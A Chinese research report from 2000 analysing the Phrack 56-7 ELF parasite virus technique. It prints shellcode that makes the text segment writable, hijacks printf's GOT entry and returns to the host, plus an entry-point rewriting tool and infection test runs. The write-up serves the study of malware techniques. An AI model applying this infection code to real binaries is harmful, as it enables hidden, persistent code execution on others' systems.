◆ Phrack56-7深度分析报告 作者:小四 (scz@nsfocus.com),袁哥 (yuange@nsfocus.com) 出处:http://www.nsfocus.com 主页:http://www.nsfocus.com/ 日期:2000-6-9 ★ 前言 下面的讨论假设你已经看过Phrack56-7,如果没有请自行参看。 主要就Phrack56-7病毒代码如何保持控制权、如何不影响原有库函数功能做一纯 技术性讨论。 ★ 保护模式下的一些技术讨论(袁哥) 设置文本段可写是非常重要的一项技术,因为我们的病毒代码需要不断修改GOT入口, 而这是文本段内容,通常文本段是不可写的。此外病毒代码本身位于文本段,而且做 了自修改处理,比如保存oldcall的4字节。 通常情况下看到的内存布局是这样的: [scz@ /home/scz]> cat /proc//maps 08048000-08049000 r-xp 00000000 03:06 151047 /home/scz/src/host_1 08049000-0804a000 rw-p 00000000 03:06 151047 /home/scz/src/host_1 设置文本段可写之后看到的内存布局是这样的: [scz@ /home/scz]> cat /proc//maps 08048000-08049000 rwxp 00000000 03:06 151217 /home/scz/src/host_1 08049000-0804a000 rwxp 00000000 03:06 151217 /home/scz/src/host_1 注意到现在数据段有了x权限,袁哥就此给出了技术说明。 -------------------------------------------------------------------------- "\xb8\x7d\x00\x00\x00" /* movl $125,%eax */ "\xbb\x00\x80\x04\x08" /* movl $text_start,%ebx */ "\xb9\x00\x40\x00\x00" /* movl $0x4000,%ecx */ "\xba\x07\x00\x00\x00" /* movl $7,%edx */ "\xcd\x80" /* int $0x80 */ -------------------------------------------------------------------------- EAX=125 INT80H 自然不用说,一个是功能号,一个是中断调用。 EBX=8048000H,显然是设置页面属性的起始地址,这儿是代码段起始地址。 ECX=4000H,大家想想8048000H本身不是代码段的标识,那么这儿系统调用的功能显 然不是设置代码段属性,应该是设置一段内存的页表属性,看看这段代码很自然地估 计ECX是设置页面属性的长度,EBX是起始地址。 EDX=7,这大家马上就能猜到是页面属性了吧。二进制的111,估计是可执行、可写、 可读三位。现在回头看看,08049000-0804A000也变成可执行,不难理解了吧。代码 段要变回去只读,不用我说了。 ok,在袁哥的技术支持下,我们重新调整代码: -------------------------------------------------------------------------- "\xb8\x7d\x00\x00\x00" /* movl $125,%eax */ "\xbb\x00\x80\x04\x08" /* movl $text_start,%ebx */ "\xb9\x00\x10\x00\x00" /* movl $0x1000,%ecx */ "\xba\x03\x00\x00\x00" /* movl $3,%edx */ "\xcd\x80" /* int $0x80 */ -------------------------------------------------------------------------- [scz@ /home/scz]> cat /proc//maps 08048000-08049000 rw-p 00000000 03:06 151217 /home/scz/src/host_1 08049000-0804a000 rw-p 00000000 03:06 151217 /home/scz/src/host_1 二进制的011分别对应了x、w、r三种权限,正是袁哥所判断的顺序,注意与通常Unix 文件权限反序了。 需要提醒大家的是,尽管现在文本段没有了x权限,但./host_1被./infect_1感染后, 依旧可以达到效果。显然在x权限的保护上,完全由段描述符完成,页描述符无法完 成x权限保护,而文本段自然是可以执行的,段寄存器所对应的段描述符是可执行段 描述符。关于保护模式这方面的知识,我就不献丑了,请坏大兔子哥哥自己出山吧。 ★ 讨论 Silvio Cesare文中给出的例子代码有几处小问题,我修改得到两个infect_0.c和 infect_1.c。主要修改地方如下: -------------------------------------------------------------------------- /* infect_0.c */ static char virus[] = // 保存寄存器 "\x60" /* pusha */ // 设置文本段可写,这招很黑,可以用在其他地方 */ "\xb8\x7d\x00\x00\x00" /* movl $125,%eax */ "\xbb\x00\x80\x04\x08" /* movl $text_start,%ebx */ "\xb9\x00\x40\x00\x00" /* movl $0x4000,%ecx */ "\xba\x07\x00\x00\x00" /* movl $7,%edx */ "\xcd\x80" /* int $0x80 */ // plt对应printf的GOT入口地址 "\xa1\x00\x00\x00\x00" /* movl plt,%eax */ // oldcall对应原始GOT入口 */ "\xa3\x00\x00\x00\x00" /* movl %eax,oldcall */ // newcall对应感染后的GOT入口 */ "\xc7\x05\x00\x90\x04" /* movl $newcall,plt */ "\x08\x00\x00\x00\x00" // 恢复寄存器 "\x61" /* popa */ // 流程转向宿主程序原入口点 "\xbd\x00\x80\x04\x08" /* movl $entry,%ebp */ "\xff\xe5" /* jmp *%ebp */ // newcall: "\xeb\x35" /* jmp msg_jmp */ // msg_call: // 这个popl后堆栈已经平衡 "\x59" /* popl %ecx */ <-- 字符串地址 // 输出我们自己的字符串 "\xb8\x04\x00\x00\x00" /* movl $4,%eax */ <-- 功能号 "\xbb\x01\x00\x00\x00" /* movl $1,%ebx */ "\xba\x0e\x00\x00\x00" /* movl $6,%edx */ <-- 字符串长度,不包括\0 "\xcd\x80" /* int $0x80 */ "\x61" /* popa */ "\xb8\x00\x00\x00\x00" /* movl $oldcall,%eax */ "\xa3\x00\x00\x00\x00" /* movl %eax,plt */ <-- 此时该句已经无用 // 这个地方是不能call的,原因请看p56-7深度分析报告 "\xff\xe0" /* jmp *%eax */ <-- 这里jmp后流程不再回到 "\xa1\x00\x00\x00\x00" /* movl plt,%eax */ 病毒代码 "\xa3\x00\x00\x00\x00" /* movl %eax,oldcall */ "\xc7\x05\x00\x00\x00" /* movl $newcall,plt */ "\x08\x00\x00\x00\x00" "\x58" /* popl %eax */ "\xc3" /* ret */ // msg_jmp: "\x60" /* pusha */ "\xe8\xc5\xff\xff\xff" /* call msg_call */ "virus\n" ; int init_virus ( int plt, int offset, int text_start, int data_start, int data_memsz, int entry ) { /* data_start实际上是phdr->p_vaddr,作者为什么起这么个变量名,见鬼 */ int code_start = data_start + data_memsz; int oldcall = code_start + 73; int newcall = code_start + 51; *(int *)&virus[7] = text_start; // 设置文本段可写 *(int *)&virus[24] = plt; // printf的GOT入口地址 *(int *)&virus[29] = oldcall; // 原始GOT入口 *(int *)&virus[35] = plt; *(int *)&virus[39] = newcall; // 感染后的GOT入口 *(int *)&virus[45] = entry; // 这里的程序入口点是原程序入口点 *(int *)&virus[73] = oldcall; *(int *)&virus[78] = plt; *(int *)&virus[85] = plt; *(int *)&virus[90] = oldcall; *(int *)&virus[96] = plt; *(int *)&virus[100] = newcall; /* 结论是令人沮丧的、不可捉摸的 */ return( SUCCESS ); } /* end of init_virus */ -------------------------------------------------------------------------- -------------------------------------------------------------------------- /* infect_1.c */ static char virus[] = // 保存寄存器 "\x60" /* pusha */ // 设置文本段可写,这招很黑,可以用在其他地方 */ "\xb8\x7d\x00\x00\x00" /* movl $125,%eax */ "\xbb\x00\x80\x04\x08" /* movl $text_start,%ebx */ "\xb9\x00\x40\x00\x00" /* movl $0x4000,%ecx */ "\xba\x07\x00\x00\x00" /* movl $7,%edx */ "\xcd\x80" /* int $0x80 */ // plt对应printf的GOT入口地址 "\xa1\x00\x00\x00\x00" /* movl plt,%eax */ // oldcall对应原始GOT入口 */ "\xa3\x00\x00\x00\x00" /* movl %eax,oldcall */ // newcall对应感染后的GOT入口 */ "\xc7\x05\x00\x90\x04" /* movl $newcall,plt */ "\x08\x00\x00\x00\x00" // 恢复寄存器 "\x61" /* popa */ // 流程转向宿主程序原入口点 "\xbd\x00\x80\x04\x08" /* movl $entry,%ebp */ "\xff\xe5" /* jmp *%ebp */ // newcall: "\xeb\x39" /* jmp msg_jmp */ // msg_call: // 这个popl后堆栈已经平衡 "\x59" /* popl %ecx */ // 输出我们自己的字符串 "\xb8\x04\x00\x00\x00" /* movl $4,%eax */ "\xbb\x01\x00\x00\x00" /* movl $1,%ebx */ "\xba\x0e\x00\x00\x00" /* movl $6,%edx */ "\xcd\x80" /* int $0x80 */ "\xb8\x00\x00\x00\x00" /* movl $oldcall,%eax */ "\xa3\x00\x00\x00\x00" /* movl %eax,plt */ // 袁哥的技术支持 "\xff\x74\x24\x24" /* pushl +36(%esp) */ <-- 注意这里和后面的区别 // 如果这个地方一定要call,有很多限制 // 如果这个地方不call,又有新的问题,请看p56-7深度分析报告 "\xff\xd0" /* call *%eax */ <-- 由于使用call指令,流程 "\xa1\x00\x00\x00\x00" /* movl plt,%eax */ 仍然会回到病毒代码,但 "\xa3\x00\x00\x00\x00" /* movl %eax,oldcall */ 对堆栈的限制性要求增多 "\xc7\x05\x00\x00\x00" /* movl $newcall,plt */ "\x08\x00\x00\x00\x00" "\x58" /* popl %eax */ "\x61" /* popa */ "\xc3" /* ret */ // msg_jmp: "\x60" /* pusha */ "\xe8\xc1\xff\xff\xff" /* call msg_call */ "virus\n" ; int init_virus ( int plt, int offset, int text_start, int data_start, int data_memsz, int entry ) { /* data_start实际上是phdr->p_vaddr,作者为什么起这么个变量名,见鬼 */ int code_start = data_start + data_memsz; int oldcall = code_start + 72; int newcall = code_start + 51; *(int *)&virus[7] = text_start; // 设置文本段可写 *(int *)&virus[24] = plt; // printf的GOT入口地址 *(int *)&virus[29] = oldcall; // 原始GOT入口 *(int *)&virus[35] = plt; *(int *)&virus[39] = newcall; // 感染后的GOT入口 *(int *)&virus[45] = entry; // 这里的程序入口点是原程序入口点 *(int *)&virus[72] = oldcall; *(int *)&virus[77] = plt; *(int *)&virus[88] = plt; *(int *)&virus[93] = oldcall; *(int *)&virus[99] = plt; *(int *)&virus[103] = newcall; /* 结论是令人沮丧的、不可捉摸的 */ return( SUCCESS ); } /* end of init_virus */ -------------------------------------------------------------------------- Silvio Cesare的infect_2.c相关代码如下: -------------------------------------------------------------------------- /* infect_2.c */ static char virus[] = // 保存寄存器 "\x60" /* pusha */ // 设置文本段可写,这招很黑,可以用在其他地方 */ "\xb8\x7d\x00\x00\x00" /* movl $125,%eax */ "\xbb\x00\x80\x04\x08" /* movl $text_start,%ebx */ "\xb9\x00\x40\x00\x00" /* movl $0x4000,%ecx */ "\xba\x07\x00\x00\x00" /* movl $7,%edx */ "\xcd\x80" /* int $0x80 */ // plt对应printf的GOT入口地址 "\xa1\x00\x00\x00\x00" /* movl plt,%eax */ // oldcall对应原始GOT入口 */ "\xa3\x00\x00\x00\x00" /* movl %eax,oldcall */ // newcall对应感染后的GOT入口 */ "\xc7\x05\x00\x90\x04" /* movl $newcall,plt */ "\x08\x00\x00\x00\x00" // 恢复寄存器 "\x61" /* popa */ // 流程转向宿主程序原入口点 "\xbd\x00\x80\x04\x08" /* movl $entry,%ebp */ "\xff\xe5" /* jmp *%ebp */ // newcall: "\xeb\x38" /* jmp msg_jmp */ // msg_call: // 这个popl后堆栈已经平衡 "\x59" /* popl %ecx */ // 输出我们自己的字符串 "\xb8\x04\x00\x00\x00" /* movl $4,%eax */ "\xbb\x01\x00\x00\x00" /* movl $1,%ebx */ "\xba\x0e\x00\x00\x00" /* movl $6,%edx */ "\xcd\x80" /* int $0x80 */ "\xb8\x00\x00\x00\x00" /* movl $oldcall,%eax */ "\xa3\x00\x00\x00\x00" /* movl %eax,plt */ "\xff\x75\xfc" /* pushl -4(%ebp) */ <-- 注意这里和前面的区别 // 如果这个地方一定要call,有很多限制 // 如果这个地方不call,又有新的问题,请看p56-7深度分析报告 "\xff\xd0" /* call *%eax */ "\xa1\x00\x00\x00\x00" /* movl plt,%eax */ "\xa3\x00\x00\x00\x00" /* movl %eax,oldcall */ "\xc7\x05\x00\x00\x00" /* movl $newcall,plt */ "\x08\x00\x00\x00\x00" "\x58" /* popl %eax */ "\x61" /* popa */ "\xc3" /* ret */ // msg_jmp: "\x60" /* pusha */ "\xe8\xc2\xff\xff\xff" /* call msg_call */ "virus\n" ; int init_virus ( int plt, int offset, int text_start, int data_start, int data_memsz, int entry ) { /* data_start实际上是phdr->p_vaddr,作者为什么起这么个变量名,见鬼 */ int code_start = data_start + data_memsz; int oldcall = code_start + 72; int newcall = code_start + 51; *(int *)&virus[7] = text_start; // 设置文本段可写 *(int *)&virus[24] = plt; // printf的GOT入口地址 *(int *)&virus[29] = oldcall; // 原始GOT入口 *(int *)&virus[35] = plt; *(int *)&virus[39] = newcall; // 感染后的GOT入口 *(int *)&virus[45] = entry; // 这里的程序入口点是原程序入口点 *(int *)&virus[72] = oldcall; *(int *)&virus[77] = plt; *(int *)&virus[87] = plt; *(int *)&virus[92] = oldcall; *(int *)&virus[98] = plt; *(int *)&virus[102] = newcall; /* 结论是令人沮丧的、不可捉摸的 */ return( SUCCESS ); } /* end of init_virus */ -------------------------------------------------------------------------- 病毒代码取得整个进程的总入口点,这是通过静态修改elf文件做到的。当执行一个 感染后的elf文件时,一般操作系统会向内存调入elf文件,并从总入口点开始执行一 些初始化代码。一般总入口点是_start,链接的时候可以修改这个总入口点。当初始 化代码执行完毕就到了我们通常理解下的main()函数入口点。值得注意的是,gdb调 入感染文件时,总入口点尚未进入,此时查看GOT入口,还是正常的。但是,如果你 b main设置断点,run一下,此时流程早已经过总入口点,GOT入口已经被寄生代码修 改。如果一定要设置断点观察病毒代码,必须直接设置在总入口点上。可以用下面提 供的lookentry.c看到当前总入口点,然后在gdb里设置相应断点。 -------------------------------------------------------------------------- /* * File : lookentry.c * Author : Silvio Cesare < mailto: silvio@big.net.au > * Rewriten: scz < mailto: scz@nsfocus.com > * Compile : gcc -O3 -o lookentry lookentry.c * Date : 2000-06-07 */ #include #include #include #include /* 很重要的头文件 */ #include #include #define SUCCESS 0 #define FAILURE -1 void lookelf ( int fd, Elf32_Ehdr * ehdr ) { /* 读取 elf header */ if ( read( fd, ehdr, sizeof( Elf32_Ehdr ) ) != sizeof( Elf32_Ehdr ) ) { perror( "read" ); exit( FAILURE ); } /* Magic number and other info */ /* 检查是否是ELF文件格式,比较魔术数实现,file命令正是利用了这个 */ if ( strncmp( ehdr->e_ident, ELFMAG, SELFMAG ) ) { fprintf( stderr, "File not ELF\n" ); exit( FAILURE ); } /* 是可执行文件、动态链接库否 */ if ( ( ehdr->e_type != ET_EXEC ) && ( ehdr->e_type != ET_DYN ) ) { fprintf( stderr, "ELF type not ET_EXEC or ET_DYN\n" ); exit( FAILURE ); } /* i386架构否,难道没有586? */ if ( ( ehdr->e_machine != EM_386 ) && ( ehdr->e_machine != EM_486 ) ) { fprintf( stderr, "ELF machine type not EM_386 or EM_486\n" ); exit( FAILURE ); } if ( ehdr->e_version != EV_CURRENT ) { fprintf( stderr, "ELF version not current\n" ); exit( FAILURE ); } return; } /* end of lookelf */ int main ( int argc, char * argv[] ) { int fd; Elf32_Ehdr ehdr; /* elf header */ if ( ( argc != 2 ) && ( argc != 3 ) ) { fprintf( stderr, "Usage: %s [hex_entry]\n", argv[0] ); exit( FAILURE ); } if ( argc == 2 ) /* 仅仅查看entry */ { fd = open( argv[1], O_RDONLY ); if ( fd < 0 ) { perror( "open" ); exit( FAILURE ); } lookelf( fd, &ehdr ); fprintf( stderr, "Entry point (%s): 0x%x\n", argv[1], ehdr.e_entry ); } else /* 修正entry */ { fd = open( argv[1], O_RDWR ); if ( fd < 0 ) { perror( "open" ); exit( FAILURE ); } lookelf( fd, &ehdr ); fprintf( stderr, "Old Entry point (%s): 0x%x\n", argv[1], ehdr.e_entry ); if ( lseek( fd, 0, SEEK_SET ) < 0 ) { perror( "lseek" ); exit( FAILURE ); } ehdr.e_entry = strtoul( argv[2], NULL, 16 ); /* 采用16进制 */ if ( write( fd, &ehdr, sizeof( Elf32_Ehdr ) ) != sizeof( Elf32_Ehdr ) ) { perror( "write" ); exit( FAILURE ); } fprintf( stderr, "New Entry point (%s): 0x%x\n", argv[1], ehdr.e_entry ); } return( SUCCESS ); } /* end of main */ /* [scz@ /home/scz/src]> gcc -O3 -o lookentry lookentry.c [scz@ /home/scz/src]> strip lookentry [scz@ /home/scz/src]> ./lookentry ./lookentry Entry point (./lookentry): 0x80484f0 [scz@ /home/scz/src]> */ -------------------------------------------------------------------------- 对于printf( "hehe\n" );这样的语句来说,call指令之前先压栈传递了一个参数, Silvio Cesare正是针对这种最简单情形来编写病毒代码的。即使如此,还是错误地 假设了堆栈里的很多情况,使用pushl -4(%ebp)这样的代码。他假设printf的主调函 数中在调用printf之前没有其他堆栈操作,偏偏编译器在优化开关打开时产生的代码 很可能影响堆栈。 -------------------------------------------------------------------------- /* host_1.c */ int main ( int argc, char * argv[] ) { printf( "hi\n" ); printf( "hehe\n" ); printf( "haha\n" ); return; } /* end of main */ -------------------------------------------------------------------------- 如果我们采用gcc -O3 -o host_1 host_1.c编译,得到汇编代码如下: -------------------------------------------------------------------------- 0x80483c8
: push %ebp 0x80483c9 : mov %esp,%ebp 0x80483cb : push $0x8048440 0x80483d0 : call 0x8048308 0x80483d5 : push $0x8048444 0x80483da : call 0x8048308 0x80483df : push $0x804844a 0x80483e4 : call 0x8048308 0x80483e9 : leave 0x80483ea : ret -------------------------------------------------------------------------- 由于优化开关-O3的影响,call之前为了传递参数而做的压栈操作并没有在call返回 之后立即做平衡堆栈处理,而是在主调函数的最后利用leave指令平衡堆栈。leave指 令相当于mov ebp --> esp,pop ebp。 gcc -o host_1 host_1.c编译得到汇编代码如下: -------------------------------------------------------------------------- 0x80483d0
: push %ebp 0x80483d1 : mov %esp,%ebp 0x80483d3 : push $0x8048460 0x80483d8 : call 0x8048308 0x80483dd : add $0x4,%esp <-- -- -- 这里在平衡堆栈 0x80483e0 : push $0x8048464 0x80483e5 : call 0x8048308 0x80483ea : add $0x4,%esp <-- -- -- 这里在平衡堆栈 0x80483ed : push $0x804846a 0x80483f2 : call 0x8048308 0x80483f7 : add $0x4,%esp <-- -- -- 这里在平衡堆栈 0x80483fa : jmp 0x8048400 0x80483fc : lea 0x0(%esi,1),%esi 0x8048400 : leave 0x8048401 : ret -------------------------------------------------------------------------- 事实上printf库函数本身并不对形参压栈做平衡堆栈操作,而是由主调函数自己决定 如何平衡堆栈。可以用gdb跟踪,并不断用i r ebp esp观察堆栈指针变换。此时虽然 每次call指令之后都有平衡堆栈操作,但主调函数的最后依旧使用了leave指令,这 是提高安全性的考虑,万一堆栈失衡还能补救。 说点题外话。编译器很狡猾,即使使用优化开关-O3,位于大循环中的printf语句, 编译得到的call指令之后始终立即平衡堆栈。什么意思,如果这里不平衡堆栈,就会 导致堆栈向低端疯狂生长,你说什么意思。显然编译器的优化开关会带来很多问题, 这也是书本建议不是绝对必要不要使用优化开关的原因。 现在问题出来了,如果printf的主调函数里只有一次printf调用,尚可将就,如果有 两次、三次呢,堆栈不断向低端生长,pushl -4(%ebp)的结果就是不断地重复显示第 一条printf语句的输出。我没有观察其他函数调用,但完全存在这样的可能,就是主 调函数里其他函数调用本身并不平衡堆栈,而是留待主调函数结束的时候执行 leave指令,那么如果printf调用前发生了其他库函数调用,pushl -4(%ebp)就更离 题万里,很可能导致segment fault。为了解决这个混帐问题,我修改该处代码为 pushl +36(%esp),现在的cpu已经支持这样的指令(在想什么,DOS吗?),不过可能 某些编译器依旧不支持这个汇编语法,于是我恭请坏大兔子哥哥出山,在SoftIce下 得到4字节的机器码。加36的意思是前面有个pusha操作,压栈了8个寄存器,总共32 个字节,再加上主调函数里call指令本身压栈的eip寄存器,就是36字节。 对于gcc -O3 -o host_1 host_1.c得到的程序,用infect_0、infect_1、infect_2分 别测试如下: [scz@ /home/scz/src]> ./infect_0 ./host_1 [scz@ /home/scz/src]> ./host_1 virus <-- 只输出了一次 hi hehe haha [scz@ /home/scz/src]> [scz@ /home/scz/src]> ./infect_1 ./host_1 [scz@ /home/scz/src]> ./host_1 virus hi virus <-- 期望效果达到 hehe virus haha [scz@ /home/scz/src]> [scz@ /home/scz/src]> ./infect_2 ./host_1 [scz@ /home/scz/src]> ./host_1 virus hi <-- 反复输出第一条printf语句 virus hi <-- 反复输出第一条printf语句 virus hi <-- 反复输出第一条printf语句 [scz@ /home/scz/src]> Silvio Cesare在理论介绍中提到要保护寄存器,但给的例子代码并没有保护寄存器, 而这里ebx需要保护,此外ebp实际上更重要,将来leave指令是需要正确的ebp寄存器 才能平衡堆栈的。作者不知道是有意还是无意,在初始化病毒代码的时候出现了一些 异常,请自行比较infect_0.c、infect_1.c与Phrack56-7不同点。 infect_0.c里可以处理printf( "%s, %s, %s\n", ... );这种相对复杂的情况,而作 者提供的代码显然不能处理。因为printf有几个参数就需要在call之前压栈几次, 我们不可能在病毒代码里完整地重现压栈过程,你不知道究竟压过几次栈,也就无法 从堆栈中定位这些参数。我们所能做的就是恢复堆栈到刚刚执行call指令之后的状态, 然后jmp到原来的GOT入口,利用原来的堆栈结构。infect_0.c达到了这种效果,同样 这里需要保护ebx寄存器。可是这样处理意味着只能在第一次调用printf时有效,因 为利用原来的堆栈结构并jmp过去的话,返回的时候流程直接回到主调函数,不再经 过病毒代码,可是动态链接器会在第一次调用printf之后修改GOT入口,我们的病毒 代码失去控制权。你也不能在利用原堆栈结构的情况下call过去,call指令本身会压 栈,实际就破坏了原堆栈结构。没有好办法解决这个问题,所以我在注释中提到,结 论是令人沮丧的,infect_0.c的这种技术只具有研究性质,不大可能实战。演示效果 已经在前面给过了,回头再看看? infect_1.c只能处理printf( "..." );这种最简单的情况。因为保护过寄存器、提供 pushl +36(%esp)这样的指令,同时是call原GOT入口,所以可以有效处理多次printf 的情形,总能保证主调函数调用printf的时候经过我们的病毒代码。第一次printf之 后动态链接器虽然修改了GOT入口,但从正常printf流程返回时经过我们的病毒代码, 在返回到主调函数之前,我们再次提取保存了当前GOT入口,并修改GOT入口重新指向 病毒代码,从而保证以后主调函数调用printf的时候还能获得控制权。infect_1.c的 这种技术比infect_0.c的还要糟糕,严重假设了宿主代码只使用printf( "..." );而 没有其他复杂用法,一旦宿主代码使用了printf的复杂用法,就要出乱子,堆栈不是 正确调用所期望的状态。 个人认为infect_0.c尚可一试,至少能普遍适用各种printf用法,虽然只能获得一次 控制权,已经足够做一些事情。 这里要提到LD_BIND_NOW环境变量,如果其值非空,在流程进入main()之前会修正GOT 入口,反之留待第一次调用printf之后由动态链接器修正。这个可以通过b main设置 断点,观察LD_BIND_NOW环境变量存在和不存在两种情况下的区别。有人可能想到 infect_0.c之所以只能取得一次控制权,就在于动态链接器在第一次调用printf之后 修改了GOT入口,那么设置LD_BIND_NOW环境变量后不就解决问题了吗。遗憾的是,我 们的病毒初始化代码在总入口点上,比判断LD_BIND_NOW环境变量并修正GOT入口的正 常初始化代码还要早,即使设置了这个环境变量,对于我们的病毒初始化代码,所保 存并企图反复利用的原GOT入口并不是期望的那个通过动态链接器修正得到的GOT入口, 于是问题依旧。尽管如此,还是加深了对这个环境变量的理解,遗憾中小有补偿。 我们仍以host_1.c为例说明一下LD_BIND_NOW环境变量的作用: [scz@ /home/scz/src]> gcc -O3 -o host_1 host_1.c [scz@ /home/scz/src]> export LD_BIND_NOW=1 [scz@ /home/scz/src]> gdb ./host_1 (gdb) disas printf 0x8048308 : jmp *0x8049488 <-- PLT入口 0x804830e : push $0x18 0x8048313 : jmp 0x80482c8 <_init+48> (gdb) x 0x8049488 0x8049488 <_GLOBAL_OFFSET_TABLE_+24>: 0x0804830e <-- GOT入口 (gdb) b main Breakpoint 1 at 0x80483cb (gdb) r Starting program: /home/scz/src/./host_1 Breakpoint 1, 0x80483cb in main () (gdb) x 0x8049488 0x8049488 <_GLOBAL_OFFSET_TABLE_+24>: 0x40064f4c <-- 已经被初始化代 (gdb) 码修改 虽然还没有调用printf库函数,但因为LD_BIND_NOW环境变量值非空,host_1的初始 化代码早在进入main()之前就修改了GOT入口。 [scz@ /home/scz/src]> unset LD_BIND_NOW [scz@ /home/scz/src]> gdb ./host_1 (gdb) disas printf Dump of assembler code for function printf: 0x8048308 : jmp *0x8049488 0x804830e : push $0x18 0x8048313 : jmp 0x80482c8 <_init+48> End of assembler dump. (gdb) x 0x8049488 0x8049488 <_GLOBAL_OFFSET_TABLE_+24>: 0x0804830e (gdb) b main Breakpoint 1 at 0x80483cb (gdb) r Starting program: /home/scz/src/./host_1 Breakpoint 1, 0x80483cb in main () (gdb) x 0x8049488 0x8049488 <_GLOBAL_OFFSET_TABLE_+24>: 0x0804830e <-- 留待第一次调用 (gdb) printf时修改 这次因为没有设置环境变量,所以GOT入口留待第一次调用printf时由动态链接器修 改。 当然我们不该忘记LD_PRELOAD环境变量,关于该环境变量请参看以前在华中的一瓢灌 水<< LD_PRELOAD使用的初步探讨(1) >>。该变量的最终效果类似于这里的病毒效果, 可以比较两种技术的优缺点。 ★ 后记 还有很多很好的设想有待实现,本文只针对p56-7做技术性探讨。关于GOT和PLT请自 行参看tt的<<绕过Linux不可执行堆栈保护>>一文,本文不再赘述,关于ELF文件格 式,请参考前面翻译的<>。对于p56-7,如有疑问欢 迎讨论。 <完>